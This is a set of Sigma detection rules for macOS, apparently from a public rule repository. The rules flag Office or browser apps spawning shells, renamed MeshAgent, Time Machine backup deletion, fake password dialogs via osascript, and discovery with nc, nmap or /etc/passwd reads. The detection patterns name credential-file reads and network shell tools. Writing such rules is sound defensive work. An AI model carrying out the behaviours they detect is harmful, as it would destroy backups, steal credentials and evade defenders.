title: Suspicious Microsoft Office Child Process - MacOS
id: 69483748-1525-4a6c-95ca-90dc8d431b68
status: test
description: Detects suspicious child processes spawning from microsoft office suite applications such as word or excel. This could indicates malicious macro execution
references:
    - https://redcanary.com/blog/applescript/
    - https://objective-see.org/blog/blog_0x4B.html
author: Sohan G (D4rkCiph3r)
date: 2023-01-31
modified: 2023-02-04
tags:
    - attack.execution
    - attack.persistence
    - attack.t1059.002
    - attack.t1137.002
    - attack.t1204.002
logsource:
    product: macos
    category: process_creation
detection:
    selection:
        ParentImage|contains:
            - 'Microsoft Word'
            - 'Microsoft Excel'
            - 'Microsoft PowerPoint'
            - 'Microsoft OneNote'
        Image|endswith:
            - '/bash'
            - '/curl'
            - '/dash'
            - '/fish'
            - '/osacompile'
            - '/osascript'
            - '/sh'
            - '/zsh'
            - '/python'
            - '/python3'
            - '/wget'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Remote Access Tool - Renamed MeshAgent Execution - MacOS
id: bd3b5eaa-439d-4a42-8f35-a49f5c8a2582
related:
    - id: b471f462-eb0d-4832-be35-28d94bdb4780
      type: similar
    - id: 22c45af6-f590-4d44-bab3-b5b2d2a2b6d9
      type: derived
status: experimental
description: |
    Detects the execution of a renamed instance of the Remote Monitoring and Management (RMM) tool, MeshAgent.
    RMM tools such as MeshAgent are commonly utilized by IT administrators for legitimate remote support and system management.
    However, malicious actors may exploit these tools by renaming them to bypass detection mechanisms, enabling unauthorized access and control over compromised systems.
references:
    - https://www.huntress.com/blog/know-thy-enemy-a-novel-november-case-on-persistent-remote-access
    - https://thecyberexpress.com/ukraine-hit-by-meshagent-malware-campaign/
    - https://wazuh.com/blog/how-to-detect-meshagent-with-wazuh/
    - https://www.security.com/threat-intelligence/medusa-ransomware-attacks
author: Norbert Jaśniewicz (AlphaSOC)
date: 2025-05-19
tags:
    - attack.command-and-control
    - attack.stealth
    - attack.t1219.002
    - attack.t1036.003
logsource:
    category: process_creation
    product: macos
detection:
    selection_meshagent:
        - CommandLine|contains: '--meshServiceName'
        - OriginalFileName|contains: 'meshagent'
    filter_main_legitimate:
        Image|endswith:
            - '/meshagent'
            - '/meshagent_osx64'
    condition: selection_meshagent and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high

title: Binary Padding - MacOS
id: 95361ce5-c891-4b0a-87ca-e24607884a96
status: test
description: Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md
    - https://linux.die.net/man/1/truncate
    - https://linux.die.net/man/1/dd
author: 'Igor Fits, Mikhail Larin, oscd.community'
date: 2020-10-19
modified: 2023-02-17
tags:
    - attack.stealth
    - attack.t1027.001
logsource:
    product: macos
    category: process_creation
detection:
    selection_truncate:
        Image|endswith: '/truncate'
        CommandLine|contains: '-s +'
    selection_dd:
        Image|endswith: '/dd'
        CommandLine|contains:
            - 'if=/dev/zero' # if input is not /dev/zero, then there is no null padding
            - 'if=/dev/random' # high-quality random data
            - 'if=/dev/urandom' # low-quality random data
    condition: 1 of selection_*
falsepositives:
    - Legitimate script work
level: high

title: Suspicious Execution via macOS Script Editor
id: 6e4dcdd1-e48b-42f7-b2d8-3b413fc58cb4
status: test
description: Detects when the macOS Script Editor utility spawns an unusual child process.
author: Tim Rauch (rule), Elastic (idea)
references:
    - https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-7f541fbc4a4a28a92970e8bf53effea5bd934604429112c920affb457f5b2685
    - https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/
date: 2022-10-21
modified: 2022-12-28
logsource:
    category: process_creation
    product: macos
tags:
    - attack.defense-impairment
    - attack.t1566
    - attack.t1566.002
    - attack.initial-access
    - attack.t1059
    - attack.t1059.002
    - attack.t1204
    - attack.t1204.001
    - attack.execution
    - attack.persistence
    - attack.t1553
detection:
    selection_parent:
        ParentImage|endswith: '/Script Editor'
    selection_img:
        - Image|endswith:
              - '/curl'
              - '/bash'
              - '/sh'
              - '/zsh'
              - '/dash'
              - '/fish'
              - '/osascript'
              - '/mktemp'
              - '/chmod'
              - '/php'
              - '/nohup'
              - '/openssl'
              - '/plutil'
              - '/PlistBuddy'
              - '/xattr'
              - '/sqlite'
              - '/funzip'
              - '/popen'
        - Image|contains:
              - 'python'
              - 'perl'
    condition: all of selection_*
falsepositives:
    - Unknown
level: medium

title: System Information Discovery Via Sysctl - MacOS
id: 6ff08e55-ea53-4f27-94a1-eff92e6d9d5c
status: test
description: |
    Detects the execution of "sysctl" with specific arguments that have been used by threat actors and malware. It provides system hardware information.
    This process is primarily used to detect and avoid virtualization and analysis environments.
references:
    - https://www.loobins.io/binaries/sysctl/#
    - https://evasions.checkpoint.com/techniques/macos.html
    - https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/
    - https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/
    - https://objective-see.org/blog/blog_0x1E.html
    - https://www.virustotal.com/gui/file/1c547a064494a35d6b5e6b459de183ab2720a22725e082bed6f6629211f7abc1/behavior
    - https://www.virustotal.com/gui/file/b4b1fc65f87b3dcfa35e2dbe8e0a34ad9d8a400bec332025c0a2e200671038aa/behavior
author: Pratinav Chandra
date: 2024-05-27
tags:
    - attack.stealth
    - attack.t1497.001
    - attack.discovery
    - attack.t1082
logsource:
    product: macos
    category: process_creation
detection:
    selection_img:
        - Image|endswith: '/sysctl'
        - CommandLine|contains: 'sysctl'
    selection_cmd:
        CommandLine|contains:
            - 'hw.'
            - 'kern.'
            - 'machdep.'
    condition: all of selection_*
falsepositives:
    - Legitimate administrative activities
level: medium

title: New File Exclusion Added To Time Machine Via Tmutil - MacOS
id: 9acf45ed-3a26-4062-bf08-56857613eb52
status: test
description: |
    Detects the addition of a new file or path exclusion to MacOS Time Machine via the "tmutil" utility.
    An adversary could exclude a path from Time Machine backups to prevent certain files from being backed up.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1490/T1490.md#atomic-test-12---disable-time-machine
    - https://www.loobins.io/binaries/tmutil/
author: Pratinav Chandra
date: 2024-05-29
tags:
    - attack.impact
    - attack.t1490
logsource:
    category: process_creation
    product: macos
detection:
    selection_img:
        - Image|endswith: '/tmutil'
        - CommandLine|contains: 'tmutil'
    selection_cmd:
        CommandLine|contains: 'addexclusion'
    condition: all of selection_*
falsepositives:
    - Legitimate administrator activity
level: medium

title: Suspicious MacOS Firmware Activity
id: 7ed2c9f7-c59d-4c82-a7e2-f859aa676099
status: test
description: Detects when a user manipulates with Firmward Password on MacOS. NOTE - this command has been disabled on silicon-based apple computers.
references:
    - https://github.com/usnistgov/macos_security/blob/932a51f3e819dd3e02ebfcf3ef433cfffafbe28b/rules/os/os_firmware_password_require.yaml
    - https://www.manpagez.com/man/8/firmwarepasswd/
    - https://support.apple.com/guide/security/firmware-password-protection-sec28382c9ca/web
author: Austin Songer @austinsonger
date: 2021-09-30
modified: 2022-10-09
tags:
    - attack.impact
logsource:
    category: process_creation
    product: macos
detection:
    selection1:
        Image: '/usr/sbin/firmwarepasswd'
        CommandLine|contains:
            - 'setpasswd'
            - 'full'
            - 'delete'
            - 'check'
    condition: selection1
falsepositives:
    - Legitimate administration activities
level: medium

title: Disk Image Mounting Via Hdiutil - MacOS
id: bf241472-f014-4f01-a869-96f99330ca8c
status: test
description: Detects the execution of the hdiutil utility in order to mount disk images.
references:
    - https://www.loobins.io/binaries/hdiutil/
    - https://www.sentinelone.com/blog/from-the-front-linesunsigned-macos-orat-malware-gambles-for-the-win/
    - https://ss64.com/mac/hdiutil.html
author: Omar Khaled (@beacon_exe)
date: 2024-08-10
tags:
    - attack.initial-access
    - attack.collection
    - attack.t1566.001
    - attack.t1560.001
logsource:
    product: macos
    category: process_creation
detection:
    selection:
        Image|endswith: /hdiutil
        CommandLine|contains:
            - 'attach '
            - 'mount '
    condition: selection
falsepositives:
    - Legitimate usage of hdiutil by administrators and users.
level: medium

title: Potential Discovery Activity Using Find - MacOS
id: 85de3a19-b675-4a51-bfc6-b11a5186c971
related:
    - id: 8344c0e5-5783-47cc-9cf9-a0f7fd03e6cf
      type: similar
status: test
description: Detects usage of "find" binary in a suspicious manner to perform discovery
references:
    - https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-12-28
tags:
    - attack.discovery
    - attack.t1083
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        Image|endswith: '/find'
        CommandLine|contains:
            - '-perm -4000'
            - '-perm -2000'
            - '-perm 0777'
            - '-perm -222'
            - '-perm -o w'
            - '-perm -o x'
            - '-perm -u=s'
            - '-perm -g=s'
    condition: selection
falsepositives:
    - Unknown
level: medium

title: Time Machine Backup Deletion Attempt Via Tmutil - MacOS
id: 452df256-da78-427a-866f-49fa04417d74
status: test
description: |
    Detects deletion attempts of MacOS Time Machine backups via the native backup utility "tmutil".
    An adversary may perform this action before launching a ransonware attack to prevent the victim from restoring their files.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1490/T1490.md#atomic-test-12---disable-time-machine
    - https://www.loobins.io/binaries/tmutil/
author: Pratinav Chandra
date: 2024-05-29
tags:
    - attack.impact
    - attack.t1490
logsource:
    category: process_creation
    product: macos
detection:
    selection_img:
        - Image|endswith: '/tmutil'
        - CommandLine|contains: 'tmutil'
    selection_cmd:
        CommandLine|contains: 'delete'
    condition: all of selection_*
falsepositives:
    - Legitimate activities
level: medium

title: Hidden Flag Set On File/Directory Via Chflags - MacOS
id: 3b2c1059-ae5f-40b6-b5d4-6106d3ac20fe
status: test
description: |
    Detects the execution of the "chflags" utility with the "hidden" flag, in order to hide files on MacOS.
    When a file or directory has this hidden flag set, it becomes invisible to the default file listing commands and in graphical file browsers.
references:
    - https://www.sentinelone.com/labs/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/
    - https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/
    - https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
    - https://ss64.com/mac/chflags.html
author: Omar Khaled (@beacon_exe)
date: 2024-08-21
tags:
    - attack.credential-access
    - attack.command-and-control
    - attack.stealth
    - attack.t1218
    - attack.t1564.004
    - attack.t1552.001
    - attack.t1105
logsource:
    product: macos
    category: process_creation
detection:
    selection:
        Image|endswith: '/chflags'
        CommandLine|contains: 'hidden '
    condition: selection
falsepositives:
    - Legitimate usage of chflags by administrators and users.
level: medium

title: Disk Image Creation Via Hdiutil - MacOS
id: 1cf98dc2-fcb0-47c9-8aea-654c9284d1ae
status: test
description: Detects the execution of the hdiutil utility in order to create a disk image.
references:
    - https://www.loobins.io/binaries/hdiutil/
    - https://www.sentinelone.com/blog/from-the-front-linesunsigned-macos-orat-malware-gambles-for-the-win/
    - https://ss64.com/mac/hdiutil.html
author: Omar Khaled (@beacon_exe)
date: 2024-08-10
tags:
    - attack.exfiltration
logsource:
    product: macos
    category: process_creation
detection:
    selection:
        Image|endswith: /hdiutil
        CommandLine|contains: 'create'
    condition: selection
falsepositives:
    - Legitimate usage of hdiutil by administrators and users.
level: medium

title: Security Software Discovery - MacOs
id: 0ed75b9c-c73b-424d-9e7d-496cd565fbe0
status: test
description: Detects usage of system utilities (only grep for now) to discover security software discovery
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md
author: Daniil Yugoslavskiy, oscd.community
date: 2020-10-19
modified: 2022-11-27
tags:
    - attack.discovery
    - attack.t1518.001
logsource:
    category: process_creation
    product: macos
detection:
    image:
        Image: '/usr/bin/grep'
    selection_cli_1:
        CommandLine|contains:
            - 'nessusd'        # nessus vulnerability scanner
            - 'santad'         # google santa
            - 'CbDefense'      # carbon black
            - 'falcond'        # crowdstrike falcon
            - 'td-agent'       # fluentd log shipper
            - 'packetbeat'     # elastic network logger/shipper
            - 'filebeat'       # elastic log file shipper
            - 'auditbeat'      # elastic auditing agent/log shipper
            - 'osqueryd'       # facebook osquery
            - 'BlockBlock'     # Objective-See persistence locations watcher/blocker
            - 'LuLu'           # Objective-See firewall management utility
    selection_cli_2: # Objective Development Software firewall management utility
        CommandLine|contains|all:
            - 'Little'
            - 'Snitch'
    condition: image and 1 of selection_cli_*
falsepositives:
    - Legitimate activities
level: medium

title: Scheduled Cron Task/Job - MacOs
id: 7c3b43d8-d794-47d2-800a-d277715aa460
status: test
description: Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md
author: Alejandro Ortuno, oscd.community
date: 2020-10-06
modified: 2022-11-27
tags:
    - attack.execution
    - attack.persistence
    - attack.privilege-escalation
    - attack.t1053.003
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        Image|endswith: '/crontab'
        CommandLine|contains: '/tmp/'
    condition: selection
falsepositives:
    - Legitimate administration activities
level: medium

title: MacOS Scripting Interpreter AppleScript
id: 1bc2e6c5-0885-472b-bed6-be5ea8eace55
status: test
description: Detects execution of AppleScript of the macOS scripting language AppleScript.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.002/T1059.002.md
    - https://redcanary.com/blog/applescript/
author: Alejandro Ortuno, oscd.community
date: 2020-10-21
modified: 2023-02-01
tags:
    - attack.execution
    - attack.t1059.002
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        Image|endswith: '/osascript'
        CommandLine|contains:
            - ' -e '
            - '.scpt'
            - '.js'
    condition: selection
falsepositives:
    - Application installers might contain scripts as part of the installation process.
level: medium

title: Time Machine Backup Disabled Via Tmutil - MacOS
id: 2c95fa8a-8b8d-4787-afce-7117ceb8e3da
status: test
description: |
    Detects disabling of Time Machine (Apple's automated backup utility software) via the native macOS backup utility "tmutil".
    An attacker can use this to prevent backups from occurring.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1490/T1490.md#atomic-test-12---disable-time-machine
    - https://www.loobins.io/binaries/tmutil/
author: Pratinav Chandra
date: 2024-05-29
tags:
    - attack.impact
    - attack.t1490
logsource:
    category: process_creation
    product: macos
detection:
    selection_img:
        - Image|endswith: '/tmutil'
        - CommandLine|contains: 'tmutil'
    selection_cmd:
        CommandLine|contains: 'disable'
    condition: all of selection_*
falsepositives:
    - Legitimate administrator activity
level: medium

title: Suspicious Browser Child Process - MacOS
id: 0250638a-2b28-4541-86fc-ea4c558fa0c6
status: test
description: Detects suspicious child processes spawned from browsers. This could be a result of a potential web browser exploitation.
references:
    - https://fr.slideshare.net/codeblue_jp/cb19-recent-apt-attack-on-crypto-exchange-employees-by-heungsoo-kang
    - https://github.com/elastic/detection-rules/blob/4312d8c9583be524578a14fe6295c3370b9a9307/rules/macos/execution_initial_access_suspicious_browser_childproc.toml
author: Sohan G (D4rkCiph3r)
date: 2023-04-05
tags:
    - attack.initial-access
    - attack.execution
    - attack.t1189
    - attack.t1203
    - attack.t1059
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        ParentImage|contains:
            - 'com.apple.WebKit.WebContent'
            - 'firefox'
            - 'Google Chrome Helper'
            - 'Google Chrome'
            - 'Microsoft Edge'
            - 'Opera'
            - 'Safari'
            - 'Tor Browser'
        Image|endswith:
            - '/bash'
            - '/curl'
            - '/dash'
            - '/ksh'
            - '/osascript'
            - '/perl'
            - '/php'
            - '/pwsh'
            - '/python'
            - '/sh'
            - '/tcsh'
            - '/wget'
            - '/zsh'
    filter_main_generic:
        CommandLine|contains: '--defaults-torrc' # Informs tor to use default config file
    filter_main_ms_autoupdate:
        CommandLine|contains: '/Library/Application Support/Microsoft/MAU*/Microsoft AutoUpdate.app/Contents/MacOS/msupdate' # Microsoft AutoUpdate utility
    filter_main_chrome:
        ParentImage|contains:
            - 'Google Chrome Helper'
            - 'Google Chrome'
        CommandLine|contains:
            - '/Volumes/Google Chrome/Google Chrome.app/Contents/Frameworks/*/Resources/install.sh' # Install the Google Chrome browser
            - '/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/*/Resources/keystone_promote_preflight.sh' # Updates the Google Chrome branding configuration files
            - '/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/*/Resources/keystone_promote_postflight.sh' # Script that performs the post-installation tasks
    filter_main_ms_edge:
        ParentImage|contains: 'Microsoft Edge'
        CommandLine|contains:
            - 'IOPlatformExpertDevice' # Retrieves the IOPlatformUUID (parent process - Microsoft Edge)
            - 'hw.model' # Retrieves model name of the computer's hardware (parent process - Microsoft Edge)
    filter_main_chromerecovery:
        ParentImage|contains:
            - 'Google Chrome Helper'
            - 'Google Chrome'
        CommandLine|contains|all:
            - '/Users/'
            - '/Library/Application Support/Google/Chrome/recovery/'
            - '/ChromeRecovery'
    filter_optional_null:
        # Aoids alerting for the events which do not have command-line arguments
        CommandLine: null
    filter_optional_empty:
        # Aoids alerting for the events which do not have command-line arguments
        CommandLine: ''
    condition: selection and not 1 of filter_main_* and not 1 of filter_optional_*
falsepositives:
    - Legitimate browser install, update and recovery scripts
level: medium

title: File Download Via Nscurl - MacOS
id: 6d8a7cf1-8085-423b-b87d-7e880faabbdf
status: test
description: Detects the execution of the nscurl utility in order to download files.
references:
    - https://www.loobins.io/binaries/nscurl/
    - https://www.agnosticdev.com/content/how-diagnose-app-transport-security-issues-using-nscurl-and-openssl
    - https://gist.github.com/nasbench/ca6ef95db04ae04ffd1e0b1ce709cadd
author: Daniel Cortez
date: 2024-06-04
tags:
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        Image|endswith: '/nscurl'
        CommandLine|contains:
            - '--download '
            - '--download-directory '
            - '--output '
            - '-dir '
            - '-dl '
            - '-ld'
            - '-o '
    condition: selection
falsepositives:
    - Legitimate usage of nscurl by administrators and users.
level: medium

title: Remote Access Tool - Potential MeshAgent Execution - MacOS
id: 22c45af6-f590-4d44-bab3-b5b2d2a2b6d9
related:
    - id: 2fbbe9ff-0afc-470b-bdc0-592198339968
      type: similar
status: experimental
description: |
    Detects potential execution of MeshAgent which is a tool used for remote access.
    Historical data shows that threat actors rename MeshAgent binary to evade detection.
    Matching command lines with the '--meshServiceName' argument can indicate that the MeshAgent is being used for remote access.
references:
    - https://www.huntress.com/blog/know-thy-enemy-a-novel-november-case-on-persistent-remote-access
    - https://thecyberexpress.com/ukraine-hit-by-meshagent-malware-campaign/
    - https://wazuh.com/blog/how-to-detect-meshagent-with-wazuh/
    - https://www.security.com/threat-intelligence/medusa-ransomware-attacks
author: Norbert Jaśniewicz (AlphaSOC)
date: 2025-05-19
tags:
    - attack.command-and-control
    - attack.t1219.002
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        CommandLine|contains: '--meshServiceName'
    condition: selection
falsepositives:
    - Environments that legitimately use MeshAgent
level: medium

title: MacOS Emond Launch Daemon
id: 23c43900-e732-45a4-8354-63e4a6c187ce
status: test
description: Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.014/T1546.014.md
    - https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124
author: Alejandro Ortuno, oscd.community
date: 2020-10-23
modified: 2021-11-27
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.t1546.014
logsource:
    category: file_event
    product: macos
detection:
    selection_1:
        TargetFilename|contains: '/etc/emond.d/rules/'
        TargetFilename|endswith: '.plist'
    selection_2:
        TargetFilename|contains: '/private/var/db/emondClients/'
    condition: 1 of selection_*
falsepositives:
    - Legitimate administration activities
level: medium

title: MacOS Network Service Scanning
id: 84bae5d4-b518-4ae0-b331-6d4afd34d00f
status: test
description: Detects enumeration of local or remote network services.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md
author: Alejandro Ortuno, oscd.community
date: 2020-10-21
modified: 2021-11-27
tags:
    - attack.discovery
    - attack.t1046
logsource:
    category: process_creation
    product: macos
detection:
    selection_1:
        Image|endswith:
            - '/nc'
            - '/netcat'
    selection_2:
        Image|endswith:
            - '/nmap'
            - '/telnet'
    filter:
        CommandLine|contains: 'l'
    condition: (selection_1 and not filter) or selection_2
falsepositives:
    - Legitimate administration activities
level: low

title: GUI Input Capture - macOS
id: 60f1ce20-484e-41bd-85f4-ac4afec2c541
status: test
description: Detects attempts to use system dialog prompts to capture user credentials
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md
    - https://scriptingosx.com/2018/08/user-interaction-from-bash-scripts/
author: remotephone, oscd.community
date: 2020-10-13
modified: 2025-12-05
tags:
    - attack.collection
    - attack.credential-access
    - attack.t1056.002
logsource:
    product: macos
    category: process_creation
detection:
    selection_img:
        Image|endswith: '/osascript'
    selection_cli_1:
        CommandLine|contains|all:
            - '-e'
            - 'display'
            - 'dialog'
            - 'answer'
    selection_cli_2:
        CommandLine|contains:
            - 'admin'
            - 'administrator'
            - 'authenticate'
            - 'authentication'
            - 'credentials'
            - 'pass'
            - 'password'
            - 'unlock'
    condition: all of selection_*
falsepositives:
    - Legitimate administration tools and activities
level: low

title: Macos Remote System Discovery
id: 10227522-8429-47e6-a301-f2b2d014e7ad
status: test
description: Detects the enumeration of other remote systems.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md
author: Alejandro Ortuno, oscd.community
date: 2020-10-22
modified: 2021-11-27
tags:
    - attack.discovery
    - attack.t1018
logsource:
    category: process_creation
    product: macos
detection:
    selection_1:
        Image|endswith: '/arp'
        CommandLine|contains: '-a'
    selection_2:
        Image|endswith: '/ping'
        CommandLine|contains:
            - ' 10.' # 10.0.0.0/8
            - ' 192.168.' # 192.168.0.0/16
            - ' 172.16.' # 172.16.0.0/12
            - ' 172.17.'
            - ' 172.18.'
            - ' 172.19.'
            - ' 172.20.'
            - ' 172.21.'
            - ' 172.22.'
            - ' 172.23.'
            - ' 172.24.'
            - ' 172.25.'
            - ' 172.26.'
            - ' 172.27.'
            - ' 172.28.'
            - ' 172.29.'
            - ' 172.30.'
            - ' 172.31.'
            - ' 127.' # 127.0.0.0/8
            - ' 169.254.' # 169.254.0.0/16
    condition: 1 of selection*
falsepositives:
    - Legitimate administration activities
level: informational

title: Space After Filename - macOS
id: b6e2a2e3-2d30-43b1-a4ea-071e36595690
status: test
description: Detects attempts to masquerade as legitimate files by adding a space to the end of the filename.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.006/T1036.006.md
author: remotephone
date: 2021-11-20
modified: 2023-01-04
tags:
    - attack.stealth
    - attack.t1036.006
logsource:
    product: macos
    category: process_creation
detection:
    selection1:
        CommandLine|endswith: ' '
    selection2:
        Image|endswith: ' '
    condition: 1 of selection*
falsepositives:
    - Mistyped commands or legitimate binaries named to match the pattern
level: low

title: Screen Capture - macOS
id: 0877ed01-da46-4c49-8476-d49cdd80dfa7
status: test
description: Detects attempts to use screencapture to collect macOS screenshots
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md
    - https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/screenshot.py
author: remotephone, oscd.community
date: 2020-10-13
modified: 2021-11-27
tags:
    - attack.collection
    - attack.t1113
logsource:
    product: macos
    category: process_creation
detection:
    selection:
        Image: '/usr/sbin/screencapture'
    condition: selection
falsepositives:
    - Legitimate user activity taking screenshots
level: low

title: System Network Connections Discovery - MacOs
id: 9a7a0393-2144-4626-9bf1-7c2f5a7321db
status: test
description: Detects usage of system utilities to discover system network connections
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md
author: Daniil Yugoslavskiy, oscd.community
date: 2020-10-19
modified: 2022-12-28
tags:
    - attack.discovery
    - attack.t1049
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        Image|endswith:
            - '/who'
            - '/w'
            - '/last'
            - '/lsof'
            - '/netstat'
    condition: selection
falsepositives:
    - Legitimate activities
level: informational

title: System Shutdown/Reboot - MacOs
id: 40b1fbe2-18ea-4ee7-be47-0294285811de
status: test
description: Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md
author: 'Igor Fits, Mikhail Larin, oscd.community'
date: 2020-10-19
modified: 2022-11-26
tags:
    - attack.impact
    - attack.t1529
logsource:
    product: macos
    category: process_creation
detection:
    selection:
        Image|endswith:
            - '/shutdown'
            - '/reboot'
            - '/halt'
    condition: selection
falsepositives:
    - Legitimate administrative activity
level: informational

title: Decode Base64 Encoded Text -MacOs
id: 719c22d7-c11a-4f2c-93a6-2cfdd5412f68
status: test
description: Detects usage of base64 utility to decode arbitrary base64-encoded text
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md
author: Daniil Yugoslavskiy, oscd.community
date: 2020-10-19
modified: 2022-11-26
tags:
    - attack.stealth
    - attack.t1027
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        Image: '/usr/bin/base64'
        CommandLine|contains: '-d'
    condition: selection
falsepositives:
    - Legitimate activities
level: low

title: Local Groups Discovery - MacOs
id: 89bb1f97-c7b9-40e8-b52b-7d6afbd67276
status: test
description: Detects enumeration of local system groups
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md
author: Ömer Günal, Alejandro Ortuno, oscd.community
date: 2020-10-11
modified: 2022-11-27
tags:
    - attack.discovery
    - attack.t1069.001
logsource:
    category: process_creation
    product: macos
detection:
    selection_1:
        Image|endswith: '/dscacheutil'
        CommandLine|contains|all:
            - '-q'
            - 'group'
    selection_2:
        Image|endswith: '/cat'
        CommandLine|contains: '/etc/group'
    selection_3:
        Image|endswith: '/dscl'
        CommandLine|contains|all:
            - '-list'
            - '/groups'
    condition: 1 of selection*
falsepositives:
    - Legitimate administration activities
level: informational

title: File and Directory Discovery - MacOS
id: 089dbdf6-b960-4bcc-90e3-ffc3480c20f6
status: test
description: Detects usage of system utilities to discover files and directories
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md
author: Daniil Yugoslavskiy, oscd.community
date: 2020-10-19
modified: 2022-11-25
tags:
    - attack.discovery
    - attack.t1083
logsource:
    category: process_creation
    product: macos
detection:
    select_file_with_asterisk:
        Image: '/usr/bin/file'
        CommandLine|re: '(.){200,}' # execution of the 'file */* *>> /tmp/output.txt' will produce huge commandline
    select_recursive_ls:
        Image: '/bin/ls'
        CommandLine|contains: '-R'
    select_find_execution:
        Image: '/usr/bin/find'
    select_mdfind_execution:
        Image: '/usr/bin/mdfind'
    select_tree_execution|endswith:
        Image: '/tree'
    condition: 1 of select*
falsepositives:
    - Legitimate activities
level: informational

title: Local System Accounts Discovery - MacOs
id: ddf36b67-e872-4507-ab2e-46bda21b842c
status: test
description: Detects enumeration of local systeam accounts on MacOS
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md
author: Alejandro Ortuno, oscd.community
date: 2020-10-08
modified: 2022-11-27
tags:
    - attack.discovery
    - attack.t1087.001
logsource:
    category: process_creation
    product: macos
detection:
    selection_1:
        Image|endswith: '/dscl'
        CommandLine|contains|all:
            - 'list'
            - '/users'
    selection_2:
        Image|endswith: '/dscacheutil'
        CommandLine|contains|all:
            - '-q'
            - 'user'
    selection_3:
        CommandLine|contains: '''x:0:'''
    selection_4:
        Image|endswith: '/cat'
        CommandLine|contains:
            - '/etc/passwd'
            - '/etc/sudoers'
    selection_5:
        Image|endswith: '/id'
    selection_6:
        Image|endswith: '/lsof'
        CommandLine|contains: '-u'
    condition: 1 of selection*
falsepositives:
    - Legitimate administration activities
level: low

title: Network Sniffing - MacOs
id: adc9bcc4-c39c-4f6b-a711-1884017bf043
status: test
description: |
  Detects the usage of tooling to sniff network traffic.
  An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md
author: Alejandro Ortuno, oscd.community
date: 2020-10-14
modified: 2022-11-26
tags:
    - attack.discovery
    - attack.credential-access
    - attack.t1040
logsource:
    category: process_creation
    product: macos
detection:
    selection:
        Image|endswith:
            - '/tcpdump'
            - '/tshark'
    condition: selection
falsepositives:
    - Legitimate administration activities
level: informational

title: System Network Discovery - macOS
id: 58800443-f9fc-4d55-ae0c-98a3966dfb97
status: test
